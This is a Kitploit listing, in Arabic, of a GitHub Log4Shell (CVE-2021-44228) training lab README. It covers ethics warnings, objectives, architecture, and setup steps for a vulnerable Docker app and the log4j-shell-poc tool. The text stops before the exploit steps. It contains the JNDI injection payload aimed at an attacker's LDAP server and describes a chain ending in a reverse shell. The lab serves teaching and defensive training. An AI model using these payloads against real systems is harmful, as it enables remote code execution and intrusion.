Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Log4Shell-CVE-2021-44228 — # مختبر عملي لاستغلال وفهم ثغرة Log4Shell (CVE-2021-44228) باستخدام Docker وKali Linux وBurp Suite وlog4j-shell-poc. مخصص للتعليم والتدريب الدفاعي في بيئات مختبرية خاضعة للتحكم فقط. | Kitploit
أدوات/GitHubGitHub/drhaitham/log4shell-cve-2021-44228
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالالهندسة العكسيةاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرةالتعلم والتعليمالفريق الأحمر

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مختبرات وتدريب عملي
GitHubdrhaitham/log4shell-cve-2021-44228

Log4Shell-CVE-2021-44228

# مختبر عملي لاستغلال وفهم ثغرة Log4Shell (CVE-2021-44228) باستخدام Docker وKali Linux وBurp Suite وlog4j-shell-poc. مخصص للتعليم والتدريب الدفاعي في بيئات مختبرية خاضعة للتحكم فقط.

عرض المستودع
31منذ 10 أشهرلم تتم المراجعة بعد
مشاركة

استغلال Log4Shell (CVE-2021-44228): مختبر عرض توضيحي حديث ومتكامل

تُعدّ Log4Shell (CVE-2021-44228) واحدة من أكثر ثغرات تنفيذ التعليمات البرمجية عن بُعد (RCE) تأثيرًا على الإطلاق. وهي تؤثّر على Apache Log4j 2، وهو إطار عمل تسجيل (logging) شائع الاستخدام في Java، وتتيح للمهاجمين تنفيذ تعليمات برمجية عشوائية عبر استغلال استعلامات JNDI في رسائل السجلات.

يوفر هذا الدليل مختبر عرض توضيحي كاملًا وقابلًا لإعادة الإنتاج باستخدام:

  • Kali Linux (المهاجم)
  • تطبيق Log4j2 ضعيف مُشغَّل عبر Docker
  • أداة إثبات المفهوم العامة log4j-shell-poc
  • curl وBurp Suite وNetcat

وهو مصمَّم للتدريس والبحث والتدريب والتوعية الدفاعية في بيئات خاضعة للتحكم فقط. يتبع الهيكل والأسلوب نفس روح ملف README الخاص بمختبر «Shellshock» المصاحب.


📌 جدول المحتويات

  1. إشعار قانوني وأخلاقي
  2. نظرة عامة
  3. أهداف التعلّم
  4. بنية المختبر
  5. المتطلبات الأساسية
  6. تثبيت JDK 1.8.0_202 على Kali
  7. نشر تطبيق Log4j الضعيف (Docker)
  8. تجهيز أداة إثبات المفهوم (PoC) للاستغلال
  9. إعداد poc.py لاستخدام JDK 1.8.0_202
  10. تشغيل خدمات الاستغلال (LDAP + HTTP + مولّد الحمولة)
  11. تشغيل مستمع الصدفة العكسية (Netcat)
  12. استغلال Log4Shell عبر curl
  13. استغلال Log4Shell عبر Burp Suite (بأسلوب المتصفح)
  14. كيف تعمل سلسلة الاستغلال (ملخص تقني)
  15. التخفيف والدفاع
  16. ورقة غش الأوامر (جميع الأوامر)
  17. معرض لقطات الشاشة (اختياري)
  18. المراجع
  19. الاعتمادات

0. إشعار قانوني وأخلاقي

يجب تنفيذ هذا المختبر فقط في بيئة خاضعة للتحكم حيث لديك إذن صريح (مختبرك الخاص، أو أجهزة افتراضية للفصل الدراسي، وما إلى ذلك).

  • لا تهاجم الأنظمة الإنتاجية.
  • لا تشغّل هذا ضد مضيفات لا تملكها أو لا تديرها.
  • استخدم هذه المادة لأغراض التعليم والبحث والدفاع فقط.

1. نظرة عامة

تُعدّ Log4Shell (CVE-2021-44228) ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد (RCE) في Apache Log4j 2.

تنشأ المشكلة لأن إصدارات Log4j2 الضعيفة تفسّر سلاسل نصية يتحكم فيها المهاجم مثل:

${jndi:ldap://ATTACKER_IP:1389/a}

عندما يتم تسجيل هذه السلسلة النصية، يقوم Log4j بـ:

  1. إجراء استعلام JNDI (عبر LDAP مثلًا) إلى خادم يتحكم فيه المهاجم.
  2. استقبال مرجع إلى فئة Java خبيثة.
  3. تنزيل الفئة عبر HTTP وتحميلها في JVM.
  4. تنفيذها، مما يوفّر تنفيذًا للتعليمات البرمجية عن بُعد.

في هذا المختبر، ستقوم بـ:

  • تشغيل تطبيق ويب Log4j2 ضعيف داخل حاوية Docker.
  • تشغيل خادم LDAP وHTTP خبيث على Kali باستخدام log4j-shell-poc.
  • تسليم حمولة Log4Shell عبر curl وعبر Burp Suite.
  • التقاط صدفة عكسية من الحاوية الضعيفة.

2. أهداف التعلّم

بحلول نهاية هذا المختبر، يجب أن تكون قادرًا على:

  1. شرح كيفية عمل Log4Shell على مستوى عالٍ، ولماذا تُعدّ JNDI خطيرة عند إساءة استخدامها.
  2. نشر تطبيق Log4j2 ضعيف باستخدام Docker.
  3. تثبيت وإعداد JDK 1.8.0_202، المطلوب من أداة إثبات المفهوم (PoC).
  4. تشغيل خادم LDAP خبيث وخادم HTTP عبر سكربت إثبات المفهوم.
  5. تحفيز الثغرة والحصول على صدفة عكسية.
  6. استخدام Burp Suite لحقن الاستغلال في ترويسة HTTP.
  7. مناقشة إجراءات التخفيف الواقعية واستراتيجيات الكشف.

3. بنية المختبر

تعمل جميع المكونات فوق بيئة مختبرك الافتراضية الحالية. نفترض في هذا الشرح ما يلي:

  • جهاز Kali Linux الافتراضي هو المهاجم.
  • تشغّل Kali أيضًا حاوية Docker التي تحتوي التطبيق الضعيف.
المكوّنالدور / الوصفالأدوات / الخدماتعنونة مثال
جهاز Kali Linux الافتراضي (المهاجم + المضيف)يشغّل استغلال إثبات المفهوم، وخادم LDAP، وخادم HTTP، ومستمع Netcat، وBurp SuitePython 3، JDK 1.8.0_202، Netcat، Burp Suite، Docker، curl، Git192.168.1.4 (مثال على عنوان Kali)
تطبيق ويب Log4j2 الضعيفالهدف؛ تطبيق ويب Spring Boot ضعيف أمام Log4Shellصورة Docker: ghcr.io/christophetd/log4shell-vulnerable-appمكشوف على http://127.0.0.1:8080

الفكرة الأساسية

يقوم المهاجم بحقن:

${jndi:ldap://192.168.1.4:1389/a}

في ترويسة HTTP. يسجّل التطبيق الضعيف ذلك باستخدام Log4j2 ← ينفّذ استعلام JNDI عبر LDAP إلى 192.168.1.4:1389 ← ينزّل فئة خبيثة من http://192.168.1.4:8000 ← ينفّذ الفئة، التي تفتح صدفة عكسية إلى 192.168.1.4:9001.


4. المتطلبات الأساسية

على Kali ستحتاج إلى:

  • Docker (مثبّت ويعمل).
  • Python 3 (الافتراضي على Kali).
  • Netcat (nc).
  • Burp Suite (النسخة المجتمعية كافية).
  • وصول إلى الإنترنت لعمليات التنزيل الأولية.
  • إلمام أساسي بـ Linux وHTTP.

في جميع أنحاء هذا الدليل، نفترض أن عنوان IP الخاص بـ Kali هو:

192.168.1.4

إذا كان عنوان IP لديك مختلفًا، عدّل جميع الأوامر وفقًا لذلك.


5. تثبيت JDK 1.8.0_202 على Kali (إلزامي)

تعتمد أداة إثبات المفهوم على Java SE 8 Update 202 (JDK 1.8.0_202) لأن إصدارات Java الأحدث تقيّد سلوك التحميل البعيد للفئات الذي يستخدمه هذا الاستغلال.

حتى إذا كان Kali يحتوي بالفعل على OpenJDK 21 (أو ما شابه)، فلا يزال يتعين عليك تثبيت 8u202 بشكل منفصل.

5.1 إنشاء دليل عمل

mkdir -p ~/Log4Shell
cd ~/Log4Shell

5.2 تنزيل JDK 8u202 من مرآة HuaweiCloud

جذر المرآة:

https://mirrors.huaweicloud.com/java/jdk/8u202-b08/

نزّل الحزمة المضغوطة Linux x64 (بحجم ≈185 ميغابايت):

wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz   # should be ~185M

5.3 فك الضغط إلى /usr/bin/jdk1.8.0_202

sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
  -C /usr/bin/jdk1.8.0_202 --strip-components=1

يزيل خيار --strip-components=1 الدليل العلوي من الأرشيف بحيث تستقر الملفات مباشرةً تحت /usr/bin/jdk1.8.0_202.

5.4 التحقق من التثبيت

/usr/bin/jdk1.8.0_202/bin/java -version

المخرجات المتوقعة:

java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)

إذا رأيت هذا، فـقد تم تثبيت JDK 1.8.0_202 بشكل صحيح.


6. نشر تطبيق Log4j الضعيف (Docker على Kali)

في نافذة طرفية جديدة على Kali (يمكنك البقاء في ~/Log4Shell):

docker run --name vulnerable-app --rm -p 8080:8080 \
  ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929

يجب أن ترى سجلات مشابهة لما يلي:

:: Spring Boot ::  (v2.6.1)
Tomcat initialized with port(s): 8080 (http)
Tomcat started on port(s): 8080 (http) with context path ''
Started VulnerableAppApplication ...
  • أصبح التطبيق الآن قابلًا للوصول على http://127.0.0.1:8080/ من Kali.
  • اترك هذه النافذة الطرفية تعمل. هذا هو هدفك.

فحص سريع للتأكد:

curl http://127.0.0.1:8080/

قد ترى صفحة خطأ Whitelabel (HTTP 400). لا بأس في ذلك — كل ما نحتاجه هو أن يكون التطبيق قيد التشغيل ويسجّل الطلبات.


7. تجهيز أداة إثبات المفهوم (PoC) للاستغلال على Kali

7.1 استنساخ log4j-shell-poc

في نافذة طرفية جديدة:

cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc

تأكد من الملفات:

ls
# poc.py, target/, README, etc. Exploit.java will be generated later.

8. إعداد poc.py لاستخدام JDK 1.8.0_202

تنزيل الأداة